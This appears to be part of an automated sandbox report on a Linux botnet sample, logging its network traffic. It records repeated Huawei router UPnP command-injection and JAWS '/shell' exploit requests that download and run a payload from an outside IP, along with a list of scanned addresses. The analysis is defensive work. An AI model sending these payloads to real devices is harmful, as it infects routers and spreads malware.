Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6236)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 175.137.41.179
Source: unknown	TCP traffic detected without corresponding DNS query: 50.75.204.179
Source: unknown	TCP traffic detected without corresponding DNS query: 142.37.5.235
Source: unknown	TCP traffic detected without corresponding DNS query: 25.34.255.90
Source: unknown	TCP traffic detected without corresponding DNS query: 62.72.65.175
Source: unknown	TCP traffic detected without corresponding DNS query: 175.141.114.61
Source: unknown	TCP traffic detected without corresponding DNS query: 75.235.139.164
Source: unknown	TCP traffic detected without corresponding DNS query: 191.244.18.223
Source: unknown	TCP traffic detected without corresponding DNS query: 213.208.45.141
Source: unknown	TCP traffic detected without corresponding DNS query: 82.176.89.35
Source: unknown	TCP traffic detected without corresponding DNS query: 158.75.16.150
Source: unknown	TCP traffic detected without corresponding DNS query: 111.237.135.163
Source: unknown	TCP traffic detected without corresponding DNS query: 162.228.45.51
Source: unknown	TCP traffic detected without corresponding DNS query: 59.31.226.64
Source: unknown	TCP traffic detected without corresponding DNS query: 154.174.32.71
Source: unknown	TCP traffic detected without corresponding DNS query: 95.196.176.104
Source: unknown	TCP traffic detected without corresponding DNS query: 19.162.86.20
Source: unknown	TCP traffic detected without corresponding DNS query: 17.199.150.202
Source: unknown	TCP traffic detected without corresponding DNS query: 38.80.128.85
Source: unknown	TCP traffic detected without corresponding DNS query: 74.134.205.25
Source: unknown	TCP traffic detected without corresponding DNS query: 2.39.165.131
Source: unknown	TCP traffic detected without corresponding DNS query: 187.215.1.242
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.247.22
Source: unknown	TCP traffic detected without corresponding DNS query: 166.13.222.1
Source: unknown	TCP traffic detected without corresponding DNS query: 164.4.95.37
Source: unknown	TCP traffic detected without corresponding DNS query: 191.109.200.72
Source: unknown	TCP traffic detected without corresponding DNS query: 140.228.54.173
Source: unknown	TCP traffic detected without corresponding DNS query: 36.177.134.220
Source: unknown	TCP traffic detected without corresponding DNS query: 20.27.23.74
Source: unknown	TCP traffic detected without corresponding DNS query: 37.186.157.151
Source: unknown	TCP traffic detected without corresponding DNS query: 139.115.226.179
Source: unknown	TCP traffic detected without corresponding DNS query: 35.185.100.198
Source: unknown	TCP traffic detected without corresponding DNS query: 77.143.27.58
Source: unknown	TCP traffic detected without corresponding DNS query: 23.61.134.145
Source: unknown	TCP traffic detected without corresponding DNS query: 41.230.124.43
Source: unknown	TCP traffic detected without corresponding DNS query: 106.76.28.184
Source: unknown	TCP traffic detected without corresponding DNS query: 148.85.81.141
Source: unknown	TCP traffic detected without corresponding DNS query: 72.80.185.7
Source: unknown	TCP traffic detected without corresponding DNS query: 44.108.152.32
Source: unknown	TCP traffic detected without corresponding DNS query: 188.115.241.247
Source: unknown	TCP traffic detected without corresponding DNS query: 5.67.144.25
Source: unknown	TCP traffic detected without corresponding DNS query: 78.35.176.214
Source: unknown	TCP traffic detected without corresponding DNS query: 105.88.106.163
Source: unknown	TCP traffic detected without corresponding DNS query: 120.248.63.167
Source: unknown	TCP traffic detected without corresponding DNS query: 76.175.70.31
Source: unknown	TCP traffic detected without corresponding DNS query: 83.133.4.49
Source: unknown	TCP traffic detected without corresponding DNS query: 202.246.187.248
Source: unknown	TCP traffic detected without corresponding DNS query: 35.162.157.101
Source: unknown	TCP traffic detected without corresponding DNS query: 107.98.236.4
Source: unknown	TCP traffic detected without corresponding DNS query: 194.194.38.144

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
